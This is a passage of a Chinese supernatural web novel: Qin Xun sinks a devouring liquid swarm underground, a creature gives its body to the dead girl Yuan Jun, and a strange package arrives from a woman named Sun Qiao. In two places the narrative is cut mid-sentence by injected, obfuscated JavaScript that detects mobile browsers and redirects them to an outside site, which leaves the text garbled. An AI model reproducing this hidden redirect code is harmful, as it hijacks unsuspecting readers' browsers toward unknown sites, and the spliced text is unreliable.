没有打乱行动的蓝色晶管碍事,他们的效率高了数倍。 前排人退下,换后排人上,他们高抬喷嘴,朝虫群扣下扳机,喷射出不同的弹药。 这次从喷嘴里喷出来的是一种蓝色气体,血蚁们像是嗅到什么令它们极度厌恶的东西,原本凝聚成团的虫云为了躲避气体,被迫四散开来。 虫子们像喝醉了酒,摇摇摆摆落在地上,漫无目的地爬行。 秦熏新奇不已,这是什么杀虫剂吗?效果真是立竿见影。 随着越来越多的虫子掉落地面,她心情愈发轻松。 正在她畅享不久前刚到手的钱要怎么花的时候,上方变故突生。 地上的血蚁突然汇聚在一起,它们的身体变得像融化的冰激凌,汇成一摊“粘稠果酱”。 而后质地迅速变化,由“粘稠果酱”变成轻薄的水样物质,急速流淌开来。 这一变故,即使是隔着层土壤观战的秦熏都面色微变,更别提别墅外直面液体的徐颖等人。 人群有些乱了阵脚,“这什么东西!以前怎么没见过?” 徐颖还算镇定,她的声音闷闷地从防毒面具下传出来:“这么多年,它们果然也进化了。后退!不管那是什么,千万不要沾到!” 不同于摧枯拉朽掠夺生命的虫云,液体的毁灭寂静无声。 它融化了周边一切物质,把它们也拉入液体中,壮大己身。 别墅足足有两层,却也难逃淹没在液团中的厄运,更别提其他。 花园里的一切都被吞噬殆尽,停在门口的数辆商务车也是如此。不多时,液体团变得有海上的浪头那么巨大,目测得有几米高。 秦熏面色难看:“怎么会这样?” 被完全驯化的灵体如实道:“我们的源初母体就是亿万年来世界上第一滴水的化身,血蚁是母体赋予我们的身躯。当听到召唤时,血蚁们会化作汪洋,奔涌回到母体。只要母体还在,还能源源不断产出血蚁,我们族群就能永生,血蚁会带着我们生存过的痕迹激活一代又一代。” 秦熏忙问:“那怎样才能让它们停下?” 灵体陷入迷茫,“停下?水不会停下。” 秦熏陷入前所未有的焦虑,难道只能眼睁睁看着这些人死? 他们如果死了,谁来拉她上去?就算她能上去,又该怎么跟其他人解释这一切,解释他们的失踪,解释她为什么会在地下? 斑鸠传来的画面里,那队人已放弃抵抗,拔腿狂奔,巨浪席卷一切,穷追不舍。 危机关头,秦熏脑中灵光一现。 她催促斑鸠:“往下飞一点,靠近地面让我看看!” 斑鸠听话照做,她死死盯着斑鸠传来的画面里的大地。 巨浪在不断变大,不断往外蔓延,地面却未曾变更,即便是在浪的边缘,土地也不见湿润。 它是液体没错,却不是水,非要说更像水银,接触角很大,虽然巨大的重量压得土地微微下陷,但它无法吞没大地,亦无法用土地来壮大自身。 秦熏呼吸突然急促,那,那如果能弄一个足够大的洞,大到能装下它,把它沉进地下呢? 18. 离开 秦熏激动地看向灵体,“这基地里有没有炸弹?或者□□,总之不管什么,能让地面塌陷就好!” 虽然危险可能很大,一个操作不慎可能把自己埋在地底,但为了不让上面那摊水吞掉无辜人的性命,她愿意冒这个险。 黑影懵了:“炸药?没有。”孕育巢里怎么会有那种东西? 秦熏心一紧,那…… 她忽然又想到地面上的三只蜕灵。 如果她没记错,沈珠是不是说过它们是吃土为生的?既然能从地下啃出一条通道,想必这事儿交给它们也不难。 听见她喊,沈珠也下了地,听完秦熏计划,她声音都高了:“让大地塌陷吗?” 秦熏颔首,“怎么样?行不行?” 沈珠抬头看了眼头顶的土壤,“虽然干巴了点,但,努努力应该还是能咽下去的。” 它看了另两位同伴一眼,沈婆连连点头,沈明虽然一直都在状态外,无精打采的,但也没说拒绝。 三只蜕灵开始“疯狂炫饭”,土层的确在慢慢减少,但速度实在有点慢了。 秦熏皱起眉头:“要花多久?” 沈珠估计了一下:“嗯……半小时?” 秦熏眉头一紧,这也长了。 沈珠无奈,边嚼边道:“毕竟我们只有三个,如果能多几个那应该能快很多,可你也看到了,这里只有我们同类的尸体。” 尸体……秦熏心念一动,尸体怎么就不行了,她刚学的技能还没来得及用呢! 她按照脑中“复苏术”介绍里的生命力消耗公式算了一下,如果要复苏一只蜕灵这种体型的尸体,需要大概50小时的寿命,她需要的不多,一百只就够,也就是5000小时。 好在附近就有数不清的血蚁,数量近万,平均下来,沈珠他们加上地上的人只需要提供半个小时左右的寿命,少熬几天夜应该就能补上。 想到这里,她不再犹豫。 很快,基地里的孕育巢突然动了起来。 它们是蜕灵身体和人类身体的结合产物,早已经宣判死刑,此时却加入那三只活着的蜕灵队伍,也跟着疯狂啃起土壤。 蜕灵们圆滚滚的雪白身子扎在秦熏头顶的土层上,就像一朵朵长在地下的白色小蘑菇一样。 沈珠一愣,旋即喜出望外:“你把他们救活了吗?” 秦熏暗自叹了口气,摇摇头。复苏术最多只能持续十分钟,十分钟后,这些尸体就尘归尘,土归土。 沈珠懂了她的意思,不再多问,埋头跟着啃了起来。 或许是因为悲愤,亦或是对蜕人的憎恨,蜕灵们的速度更快了。 百只蜕灵同时开动,交叉作业,啃食速度指数级提升。 蜕灵们以肉眼可见的速度离她渐远,往更高更远的地方冲去,那是秦熏一开始为它们指好的方向,地上的徐颖等人就在那儿。 -- 别墅外。 徐颖已经用光了所有手段,这是他们遇过最棘手的敌人。 过去的所有手段对于眼前这东西都毫无作用,这种液体不在他们的认知范围内,无论怎么尝试,也不能减慢这滩东西的步伐。 此时他们已经慌不择路逃进巷子里。 可谁都没想到里面会是通电的铁丝网,这儿,是条死路。 一行几十人挤在这个巷子里,绝望地抬头望着吞掉又一座别墅后,终于抵达他们跟前的巨浪。 巨浪几乎跟山一样,他们在“山脚”下战栗,庞大的阴影像死神的翅膀,笼罩在他们身上。 面对必死之局,徐颖及她身后的众队员反倒已经没有最开始见到这东西的恐惧了。 他们平静地发出早早编辑好的遗信,闭眼等待死亡到来。 一秒,两秒,三秒过去,本该扑下的浪头却迟迟未至。 徐颖心弦绷紧,一个她不敢想象的可能浮上心头,会不会…… 她蓦地睁开眼睛,看到了令她永生难忘的一幕——地下飞快下陷,大地像饥饿已久的巨兽,贪婪张开大嘴,吞下这团比山丘还高的液团。 徐颖目瞪口呆,在人类面前巨大得骇人的浪花,在广袤无垠的大地眼前,也就是个小果冻而已。 液体不甘地被土地吞没,就像它吞没沿途建筑一样,土壤也疯狂分食它的身体。 它以肉眼可见的速度沉没、缩小,最后彻底消失在地面的巨大裂缝里。 裂缝起码有两条马路那么宽,长度更是一眼望不到头,众人难以置信地低头看着巨缝深处,那底下黢黑一片,什么都看不见。 片刻后,地底居然亮起一束光。 他们隐约看见一个人站在什么东西上拼命朝他们挥舞手上的光源,大喊:“喂!丢根绳子下来!” 众人面面相觑,谁能想象这吞噬了巨浪的三层楼深的地缝居然会有活人? “队长,”有人问徐颖,“会不会……会不会是陷阱?” 徐颖刚要说话,却突然愣住,脑中那个充满神性的,听不出性别的声音再次给出神谕:“放绳。” 她忙回头冲队友们大喊:“快去拿绳子!” 秦熏松了口气,虽然徐颖这个“警察”跟她想象的警察不太一样,好在依旧是她的“忠实信徒”,不管她的要求多离谱,在听到她的指示时,还是会第一时间照办,要是换个人可能就没那么容易了。 她仰头看了眼头顶巨大的裂缝,幽幽叹气。 也是,放任何一个正常人看见这场面,都会觉得自己眼睛或脑子出了毛病。 她直到现在也很难想象自己的计划居然真被这些其貌不扬的干饭奇才实现了。 完成任务的亡者们在阳光下化作飞灰,被风裹挟着飘向远方。 三只蜕灵愣愣看着天边,齐齐陷入沉默,秦熏也一时说不出话来。 每一个它们的同类逝去,也意味着世界上少了一个秦熏的同胞,虽然物种不同,但此时此刻,他们内心的沉重是相通的。 蜕人这种东西已经超出秦熏对生命的认知,它们比寄生虫还要恶心。 沉默过后,沈珠打破沉寂,它看向秦熏,再度道谢:“谢谢您救了我们。” 秦熏笑笑,其实也算不上,如果不是它们把地啃穿,弄出这么个大口子,她估计也回不了地面。 沈珠和沈婆对视一眼,后者忽然从身上取下一小块东西,递到她手上,“这是开启我们据地的钥匙,欢迎您未来来我们族群做客。” 钥匙?秦熏低头看了眼那块形状崎岖、看上去跟被磨平了的贝壳一般的东西,很难想象这东西对应的锁会长什么样。 沈珠也道:“我们住在黄河,如果您哪天想见我们,把这把钥匙丢进黄河,会有蜕灵去迎接您的。” 秦熏倒是有点好奇:“你们住的地方长什么样?” 两只蜕灵对视一眼,笑了起来:“反正肯定比陆地好。” 秦熏也笑:“那我哪天有空一定得去看看。” 沈珠和沈婆的身体飞快飘上天空,片刻功夫就不见踪影。 沈明却依然留在原地,刚才它也全程没有出过声。 秦熏好奇看着它:“你不走?” 沈明迟疑片刻,缓缓摇头,哑着嗓子说出自下地后第一句话,“您一会儿要去找珺珺?我……我也想去,可以吗?” 秦熏微怔,思考片刻后,她没有拒绝。 反正都是要去找回袁珺的灵魂,完成袁娜的委托的,带它一个,也不嫌多。 说话的功夫,徐颖和队员们也放了一大捆登山绳下来,把秦熏拉回地面。 秦熏一出来,就对上几十双好奇打量着她的眼睛。 他们此时已经脱下脸上的防毒面具,脸上挂着汗珠,头发也被汗打湿,一缕一缕贴在额头面颊上,眼里混杂着刚经历了一场恶斗,死里逃生的疲惫和庆幸。 这些人看上去都挺年轻,有男有女,为首的徐颖是他们这队人的领队。 丝线那头的徐颖虔诚而活泼,说话很有精气神,现实中她的形象和秦熏预想的差不多,很年轻,看上去大学刚毕业。 她一头短发,干净利落,相貌给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13857375|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的感觉很清爽,尤其是一对眼睛时时发着亮,写满友好热情,看着就让人心生好感。 她上下打量秦熏,好奇道:“你怎么会在地下?” 秦熏一愣,她可还记得不久前王赫对她那顶礼膜拜的眼神和语气,同样是她的“信徒”,徐颖居然认不出她来? 倒不是她想被那样供神似的对待,相反,现在这样反而比较符合她的低调理念,只是觉得有点奇怪罢了。 她按下内心疑惑,轻咳一声道;“我刚才在地下室。” 徐颖目光微闪,她转头指挥身后的队员们去打扫战场,只剩她们两人时,才重又看向秦熏。 她扶了扶脸上挂着的眼镜,仔仔细细把秦熏上下打量了个遍,“是人类没错啊。这一带已经被那群怪物占领,你一个人类为什么会出现在这里?” 秦熏心念一动,含了点试探的意思装出一脸虔诚:“有个声音让我来的。” 徐颖顿时恍然,哦,原来是自己人。 她于是又看了秦熏一眼,喃喃道:“的确,我好像在M52工厂见过你。” 秦熏笑笑:“我倒没什么印象。” “那是因为我……”徐颖刚要解释,远处突然有人喊:“队长!” 徐颖循声看去,面色微变。 她回头朝秦熏匆匆撂下一句,“我们组织很需要你这样的人才,不久后肯定会有专人联系你,欢迎你考虑我们第六部门哈!那头有事,我先走了。” 秦熏看着她大步离去的背影,想了想,没跟上去。 她扭头对斑鸠道,“走吧,带我回去找袁珺。” -- 回到华盛小区的时候已经是傍晚了,天色阴阴,还下了点小雨,小区里家家户户都窗都亮起了灯,更衬花园阴森。 斑鸠飞到上次见到袁珺的地方,那是花园里的秋千。 秋千瞧着很旧了,两侧的绳索锈迹斑斑,坐板上却很干净,没有坐人,秋千却在空气里吱呀吱呀地来回晃动。 “诺,她就在秋千上。”斑鸠用喙指了指那个小小的秋千。 秦熏眯起眼睛,“为什么我看不见她?” 她有些奇怪,明明在肉钱工厂里她都能看见鬼的。 灵体解释道:“M52基地中的鬼工是领过工牌的,拥有实体,但袁珺只是一只普普通通的鬼,活人看不见的。” 秦熏瞥了它一眼,也是,她是系上丝线后才看见这灵体的,要想看见袁珺应该也差不多。 她控制好力道,小心翼翼朝秋千放出丝线,跟秋千那头建起浅层联系。 很快,秋千上多出一个虚虚的瘦小人影。 她穿着蓝色校服,垂在坐板下的小腿随着秋千的晃动也一晃一晃的。 秦熏这才发现她其实一直看着自己,紧紧抿着唇,苍白透明的脸上写满畏惧。 的确和她妈妈说的那样,怕生,内向。 似乎察觉到秦熏也在看她,她求助般地将目光投向更熟悉的斑鸠。 秦熏给斑鸠使了个眼色,它扑棱着翅膀,和往常一样飞到秋千边,咕咕着跟女孩说话。 沈明突然开口:“秦小姐。” 秦熏循声扭头:“嗯?” 沈明从地底上岸时已经变成了人形,但秦熏走进花园的时候,它却在远处踌躇踱步,不敢靠近,此时突然跟秦熏说话,也隔着一条绿化带。 “您,”它吞吞吐吐,神情有些犹豫,“您电话里说,是袁娜让您来找珺珺的,对吗?” 秦熏挑眉:“对啊,我解释那么多遍了,你还脏话连篇的,这都不记得了么?” 沈明神情有些苦涩:“我只是想吓退您,没想到方法不当,真是抱歉。” 秦熏摆摆手:“反正我也揍过你,扯平了。到底什么事,直说吧。” 沈明语气陡然沉重:“袁娜是不是还不知道……珺珺已经……” 秦熏嗯了一声,“应该吧。换是谁,也想不到会这样。” 沈明沉默片刻,像突然下定什么决心似的,“我想把我的身体给珺珺。” 19. 沈明 秦熏闻言睁大眼睛:“你说什么?” “我想把我的身体给她。”沈明又重复了一遍。 秦熏不解,“为什么?” 沈明低头喃喃,“因为体质原因,我没被选去作孕育巢,而是负责和外界打交道。通常需要我会变成受害人的亲友,把人骗去基地。大部分时候都是用钱或名做借口,很管用,除了她。” 它看向袁珺:“第一次见到她时,她也在花园里荡秋千,她很聪明,我变成她的父亲,她一眼认出来我是假冒的。” 秦熏没有打断,任它继续说。 沈明说了很长很长一段独白。 “从来没有人看破我的伪装,我有些好奇,问她我哪里做得不对,她没有说为什么。我于是没把她带去别墅,而是留她作观察样本。” “之后我便经常借着替主人干活的机会绕路来观察她,她有一次很高兴地给我看她的试卷,她说自己在补习班得了满分。” “我不明白为什么要和我说这些。她听了我的疑惑却理所当然地说,家人就是这样的啊,分享快乐的事,为彼此骄傲。” “我再次觉得困惑,蜕灵没有性别,也没有家庭这个概念。她说可以教我,这样能更好融入人类社会,我答应了。” “她妈妈总是很忙,我每次去找她的时候,她都是一个人。我越来越习惯扮演她爸爸的角色,她教我怎么扮才能更像人,我在她被同学欺负的时候帮她收拾他们,替她开家长会,偶尔接她上下学。我虽然还是无法完全理解家人是什么,但我逐渐明白了什么是朋友。” 随着它的讲述,秦熏心情越来越沉重,明眼人都知道,他们这段跨物种的友谊并没有好结局。 “我们做了两年的朋友,一直没有被她妈妈或者我的前主人发现过,直到又一次家长会,前主人顶着它抢来的别人的皮囊,作为荣誉校友,站在台上对着所有家长说话,我知道,它看到我了。” “我立马想着逃走,我带她搬家,换了新学校,但……但我没想到,它们藏在人群里,无处不在。”沈明神情沉痛,“我被带回别墅,亲眼看着主人把她带去地下。一个月后,前主人调去别的片区,新主人顶着珺珺的模样,出现在别墅里。” 沈明的目光越过神情复杂的秦熏,看向秋千的方向,虽然看不见,但它知道她最喜欢坐在那里,请它帮忙推秋千。 “我在地上待了太久了,”它沉沉叹气,“也害死了包括她在内的太多人类,即便回到故乡,我的灵魂也无法再经受河水的拷问。但我的躯体还算年轻,希望您能帮帮我,给她一个复生的机会。” 秦熏哑然,回头看看依旧在和斑鸠说话的袁珺,又回头看看眼前的沈明,缓缓问道:“你不觉得,该问问袁珺自己的意愿?” 沈明摇摇头:“您能别告诉她吗?”它目光中流露一丝恳求,“也别告诉她,我曾经骗过那么多人的命,好吗?” 秦熏内心五味杂陈,纠结半晌,她微微颔首,“好吧。” 沈明如释重负地冲她笑了笑,变回看不出任何性别特征的圆球。 它的身上溢出无数光斑,像莹莹蝴蝶,翩翩起飞,没入雨帘中朦胧的路灯灯光里,消失不见。 圆球迅速缩小,变成秦熏手心里那只有鸡蛋大小的圆核。 秦熏抿了抿唇,扭头看向不远处的斑鸠和袁珺。 即便答应了沈明什么都不说,她内心依旧矛盾,而且是前所未有的矛盾。 她在自己的事上一向很有主意,可一旦要给他人做决定,她总不可避免地陷入无措。 虽然仅仅只是作为听众,她却也切身体会到那种让人心肠揪起来的难受。 袁珺此时已结束和斑鸠的对话,似乎下定了什么决心似的,跳下秋千,迈步往这儿走来。 “大姐姐,”她仰头望着秦熏,“小鸟说是您帮我夺回了身体,谢谢您。” 她眼神里满是感激和崇拜,也不知道小斑鸠添油加醋给她吹成啥样了。 秦熏温声道:“是你妈妈让我来的。” 袁珺神情又有些紧张了:“您知道妈妈去哪儿了?” 秦熏心一突,又想起一件事。袁珺以为袁娜还活着,是么?正如袁娜以为女儿还在世一样。 如果把灵体袁珺带给袁娜,袁娜定然心如刀割;但如果袁珺复生后以活人的姿态去见袁娜,看见妈妈去世了,又该怎么接受现实…… 到现在为止,秦熏心里已不知道叹气多少回了,怎么摆在她跟前的总是这种难题。 对着袁珺天真的目光,秦熏实在没法儿把“你妈妈已经去世了”这句话说出口,她只是尽量保持面上微笑不变,“我带你去找她。” 袁珺眼中闪过欣喜,对着秦熏展出大大的笑容。 秦熏看了眼手里的圆核,再难她也要做出决定了。 她选择尊重沈明的遗愿,将圆核递到袁珺面前。 袁珺目光迷茫一瞬,紧接着身形晃动,化作流光融入圆核中。 片刻后,圆核腾空飞起,在半空飞快变化,拉长变形,长出手脚头颅,半分钟后,一个活生生的袁珺出现在秦熏跟前。 她缓缓落回地面,呼吸均匀,气色红润而健康,不再是魂魄形态时的苍白。 也不知是巧合还是什么,这一刻,天上的细雨也停了,微风吹开乌云,皓月当空。 要不是情况不合时宜,秦熏都很想惊叹一声大自然的奇迹。 袁珺睁开眼睛,新奇地看了眼自己的身体,“我怎么……” “走吧。”秦熏没解释,“别让你妈妈等急了。” “嗯!”袁珺的注意力很快被她转移,快步跟上她的步伐。 -- 抵达商恒大厦时,天彻底暗了下来,不用进楼,秦熏就看见眼尖地发现袁娜的鬼影。 她站得很偏僻,立在一棵槐树下,半透明的身形在夜色中若隐若现。 袁珺飞快扑了过去,“妈妈!” 没有想象中妈妈的温暖怀抱,她扑了个空。 这一幕看得秦熏心里发堵,她叹了口气,自觉离远了些。 她不知道要怎么面对别人的眼泪。她一贯不擅长应付煽情哀伤的场面,刚才沈明那番独白就够让她心里难受的了。 人家两母女的事,还是人家自己解决吧。 她随便在附近找了条长椅坐下,夜风有一搭没一搭拂过她的脸,仿佛带了点甜丝丝的味道。 “吃吗?”秦熏盯着被递到眼皮子底下的冰激凌,足足愣了两秒。 握着冰激凌的是一个小熊玩偶。 她顿了顿,还是接了过来,“你不是在睡觉?” 玩偶在她旁边坐下,“恢复了一点。” 秦熏是咸党,对甜食好感度一般,不过冰激凌是个例外,她还挺喜欢的,尤其是在这种夏天。 她咬了一口冰激凌的尖尖,“怎么不在家里待着?” “我有点担心你会吃亏。”阿冬递来一张牛皮纸,“所以我替你和她们母女拟了份合同。” 秦熏:“哈?” 阿冬煞有介事:“以我对你的了解,这件事你肯定不会要报酬,但如果真这样,那你就错过一个专属蜕灵珠供应者了。” “哦?怎么说?” “蜕灵一族在灵珠这方面十分吝啬,即便给出高价,大多也是一颗都不愿意卖;如果强取,甚至会玉石俱焚,自毁灵珠。但如果是袁珺,那就不一样了。虽然她现在有着蜕灵身体,灵魂却还是人类,对灵珠并没有蜕灵一族那样的病态依赖,完全可以和她达成合作。” 秦熏冰激凌都忘了吃,她一脸谴责:“你居然把主意打到人家小孩子头上?这和奴役童工有什么区别?不行,想都别想。” “以蜕灵的身体在人类世界生存,多有不便,肯定还需要你的帮助。双方互慧的事,怎么能叫奴役呢?这叫合作。” 秦熏眼皮一抽,刚要说话,余光瞥见袁家母女往这儿走来。 袁娜应该已经和女儿解释清楚了原委,袁珺脸上挂着泪痕,小声抽泣着。 袁娜温和地冲她微笑,把一枚戒指递给秦熏:“这东西值几个钱,不要嫌弃的话,请收下吧。珺珺把一切都跟我说了。没想到中间发生了这么多事……真是太麻烦您了。” 秦熏低头一看,袁娜半透明的掌心虚虚托着的是一枚玉质扳指,即使是她这样的古董小白都看得出这东西有点年头了,价值定然不菲。 她忙推辞道:“这太贵重……” 袁娜轻声打断她:“我家里人都去了,就剩我和珺珺,等我也走了,就只有她一个了。她还小,有些事日后还得麻烦您……还请您不要推辞。” 秦熏一愣:“家里没有大人了吗?她爸爸呢?” 袁珺这么一个十岁出头的小姑娘,要怎么一个人生活?而且华盛小区那边的房子已经重新租出去了,她以后能住哪儿? 袁娜低声叹气:“我们家代代都是独苗,只有一个女儿,而且孩子出生后,丈夫会在孩子十岁那年突然离世。我以为到我这一代,医疗水平上来了,应该不会再有这种事,但还是……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879188|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那她爸那边的亲戚呢?” 袁娜苦笑:“他是孤儿。” 秦熏心里五味杂陈,这一家子可真有够可怜的。 袁娜虚虚抚了抚女儿的头,“我们的新家前段时间已经装修好了,住的地方是有的,日常生活起居,珺珺也都可以自理;但总有些事她一个人解决不了,还请您到时候给支支招。” 袁珺眼泪流得很凶,止也止不住:“妈妈,你能不能不要走?” “刚才不是说好了吗?”袁娜无奈地安抚女儿,神情愈发苦涩。 秦熏看了眼她涣散的灵体,心里不是滋味。 她忽想到什么,趁母女两不注意,背过身去小声问阿冬:“蜕灵珠既然能滋养我的灵魂,那袁娜的呢?” “倒也行。” “能维持多久?” “一颗珠子能延缓一个月左右的灵体寿命,不过越到后期时效越短。” 阿冬意识到她想做什么,慢吞吞道:“即使是成年蜕灵,灵珠年产量也只有十到二十颗,如果都用来蕴养袁娜的灵魂,那你可能一颗都得不到。” “这有什么的,”秦熏无甚所谓道:“如果实在很需要,我可以去找沈珠它们。” 阿冬还想劝:“但……” 秦熏压低声:“你想想,如果袁娜魂飞魄散,只剩袁珺一个小孩,那我总不能放她不管吧?她就得住我们家,可我又不会带小孩,到时候就得你照顾她,你总不想以后游戏都没得玩,天天辅导她写作业吧?” 阿冬:“……当我什么都没说。” 秦熏回身,轻咳一声,沉浸在悲伤中的母女双双看向她。 “珺珺,你现在的身体上有一种珠子,知道吗?” 袁娜诧异:“珠子?” 见母女两神情迷茫,秦熏这才记起她们还不知道袁珺的新身体是哪儿来的。 她绕开沈明这个名字,含糊解释道:“有一位……嗯,精灵,听说了珺珺的事情,深受感动,离世前把身体捐给了你。它的身体,也就是珺珺你现在的身体里面有一种特殊的珠子,能延长灵体的寿命,能让你妈妈长久陪在你身边。” 袁珺愣了愣,还真从口袋里摸出一枚珠子,“是这个吗?” “对。” 珠子散发着柔和的光,将离它最近的袁娜包裹其中,她那即将消散的灵体迅速变得凝实厚重。 秦熏面色一喜:“看吧,效果很好。” 袁娜见状也是高兴不已,袁珺盯着珠子怔了半晌,突然抬头看秦熏:“姐姐,我现在的身体……是谁的?” 秦熏故作镇定道:“怎么突然问这个?” “我有个朋友,”袁珺声音愈来愈低,“它送过我的礼物里有一颗珠子。它说这是它身体里结出的果子……”她越说哭腔越重,“大姐姐,我这到底是谁的身体?” 秦熏头一回生出逃跑的冲动。 她不敢回答,但她的沉默在袁珺这样早慧的小孩眼里,已经是答案了。 袁珺低着头,看不清神色。 秦熏应付不了这种场面,她假装接了个电话,然后迫不及待跟她们母女告辞,“我,我有点事,先走了哈。” 她转身拦了辆出租车,飞快钻了进去。 后视镜里,袁娜母女的身影逐渐缩小。 她端详着手里的玉扳指,有几分好奇,“你说着她们袁家是什么身世?这东西可不像普通人家能拿出来的。” 阿冬语出惊人:“我曾经见过这枚戒指。” 秦熏忙道:“什么时候?” 阿冬回忆道:“很久以前。那时候你们人类的衣物和现在不一样,袖子更大更宽,男女都留长发。” “男的有辫子吗?” “没有。” 秦熏眸光微动,那起码是清朝以前了,“还记得是在哪儿见到的吗?” 阿冬想了想,猜测道:“虽然没什么印象,但多半是你身边的人,也是个女人。” 秦熏若有所思:“那也就是说,很多轮以前,我就和这枚扳指的主人……嗯,袁家人有过交集?” “大概率。” 秦熏沉思着没再说话。二十分钟后,车到了小区门口。 刚进单元楼,保安大爷突然拦住她,“是602室的秦女士吗?” 秦熏步伐一顿,“是,怎么了?” 大爷从保安室里拖出一个巨大的纸箱,“今天下午有人送过来的,要您签收。” 秦熏眉头皱起,谁送来的?她能肯定,自己近期并没有买过东西。 20. 日记 箱子大是大,却不重,她把箱子拖回电梯,不知是不是撞到哪儿了,箱子抖了一下。 秦熏看了阿冬一眼:“你买了什么?” 玩偶抬头看了她一眼,直呼冤枉:“你看我像是有钱购物的样子?” 倒也是。秦熏仔细打量箱子,没有贴快递单,盒子上只歪歪扭扭写了个名字:孙巧。 秦熏一头雾水,她可不认识什么孙巧。 阿冬好奇地绕着箱子转了一圈,下了定论:“里面是个活物。” “活物?”秦熏眉头挑得老高,拿这种密封纸箱运活物,这不合运输规定吧? 她怕里面的东西憋太久死了,当下也不敢耽搁,忙拖回家里,用钥匙划开了密封胶带。 箱子很大,有她腿那么高,里面的东西却很小,只占了一块小角落,是一种秦熏没见过的生物。 它的眼睛很大,几乎占据了3/4的头颅,而头又占据了它整个身躯的3/4,围着头部那一圈的毛茸茸肢体,应该是它的腿。 它看上去就像一只大海胆,亦或是很多腿的大蜘蛛。 小怪物见到箱子开了,头上的数条腿一起发力,从底部跳了上来,越到箱子边缘。 秦熏想也不想蹭蹭后退几步。 根据她多年恐怖片观影史,这东西下一步多半就要往人脸上跳了。 可出乎意料,它只是伸出几条腿,拉长踩到地上,支撑自己摇摇晃晃站起来,接着又伸长一条腿,伸向秦熏,“您好,我是小巧,初次见面,请多多关照。” 秦熏:“……” 看着怪物递来的那只黑色的腿…不…手…还是叫爪子吧,她面色变了又变,什么意思,它是想和她握手? 这谁敢握上去啊? 小巧收回爪子,若无其事地理了理自己头顶张牙舞爪的其他肢体,接着又道:“很抱歉这么冒昧来打扰您,我的主人托您暂时照顾我一段时间。” “照顾你?”秦熏人都懵了,“你主人谁啊?” “啊!”小巧一拍脑门儿,从自己打开的脑壳里掏出一封信,“差点忘了,主人让我把信带给您。” 信封捏起来厚厚的,刚一拆开,里面的照片撒了一地。 她忙弯腰捡起照片,动作却因震惊而逐渐迟钝——这些照片都是她和别人的合影。 最醒目的是一张集体大合照,八九个人穿着作战服,站在直升机前,有男有女,秦熏在他们中间,笑得很灿烂。 可这些人她都不认识。 她将照片翻到背面,上面写了一行小字:1991年8月15日,第二十六次行动前留影。 其他照片背后也写了字,摄影年份大多是在86年到92年间,每一张都对应着一次行动。 这里一共二十六张照片,第二十六次,也就是最后一次。 这些都是三十多年拍的照片了,秦熏眉头紧皱,当时的她到底是个什么身份? 小巧指着照片里左数第二个中年女人道,“她就是我主人,孙巧。” 孙巧眉心有褶,颧骨外扩,嘴唇线条锋利,唇角微微下垂,俨然是个严肃不苟言笑的人。 她的五官比起汉族人要更深邃硬朗一些,可能是少数民族,或者是混血。 这人长得明明很有记忆点,但秦熏却毫无印象。 她往信封里看了一眼,里面还有一张信纸。 这年头还用手写信的人很少了,孙巧一手草书,字体遒劲,力透纸背。 但……秦熏嘴角抽了抽,真是不好意思啊,我文化素养太低,根本认不出来呢。 小巧提醒道:“这是俄文噢。” 秦熏一愣,“她是俄罗斯人?” “那个时候还叫苏联。” 秦熏盯着纸上那些个狂放的圈圈,无奈扶额,这谁能看得懂啊! 她看向阿冬,“这个孙巧,你有印象吗?” “不认识。”阿冬盯着眼前的怪物看了一会,做出评价,“这种生物叫根妖,胆子小,实力弱,不足为惧。你要是想留下它的话,可以养在阳台上,它喜欢光,自己会找水和食物,熟悉环境后会开花,跟盆栽差不多。” 小巧有些不好意思地挠挠头:“我没你说得那么好啦。” 秦熏叹气:“没有在夸你。” “噢,对了,我差点又忘了!”小巧转身从箱子里拖出一个大布袋,“这是主人让我带给您的礼物。” 秦熏接过一看,袋子里装着一些乱七八糟的东西,土特产,水果,烟酒,甚至还有枕头被子…… 她嘴角微抽,这算哪门子礼物?分明是一堆琐物嘛。 忽然,她的注意力被袋子最底下一块金灿灿的东西吸引,那个形状,那个光泽,如果她没有看错的话……金条! 秦熏心跳陡然加快,金子那种独一份的特殊性,足够让所有人拜倒在其魅力下。 她当即也顾不得旁的,忙伸手到袋子底部,把那金条捞了上来。 然而拿到手里她才发觉有点不对,这跟金条是不是太轻了点? 再定睛细看,金条上居然有条缝,她试着扣了一下,缝隙变大,露出一角纸页。 害,这哪是什么金条啊,只是一个长得像金条的长条盒子而已。 秦熏失望透顶,她打开盒子,里面躺着又一封信,这封信倒是用中文写的。 “看来你一点儿也没变,如果说有什么东西最能吸引你,那肯定是金子没跑了,把信藏在这种地方你肯定不会漏看。说到这里,你应该会觉得奇怪,明明已经让它给你带了一封信了,为什么还要多此一举再写一封,那么请打开袋子里那本书。” 秦熏在袋子里翻找了一下,果然有本地图册。 书的某页折了角,那是一张云南省的地图,地图上用记号笔加粗画出了一条路线。 地图下是一行小字,“现在请找到袋子里的那个枕头。” 秦熏耐着性子又把枕头翻了出来,枕头里被一堆金银元宝塞得满满当当,除此之外,什么都没有。 “神经病阿!”她恼火地将金银元宝倒了一地,“这是几个意思,要我一个一个打开?” 几百个呢,得找到什么时候? 她真是搞不明白这个孙巧了,有什么事不能直接说,非得整这么弯弯绕绕的,是不是有病? 要不是因为那照片勾起她的兴趣,她才没这么多耐心。 小巧道:“这东西是拿来烧的噢,我看主人每年清明的时候会去坟头烧这些。” 秦熏:“……” 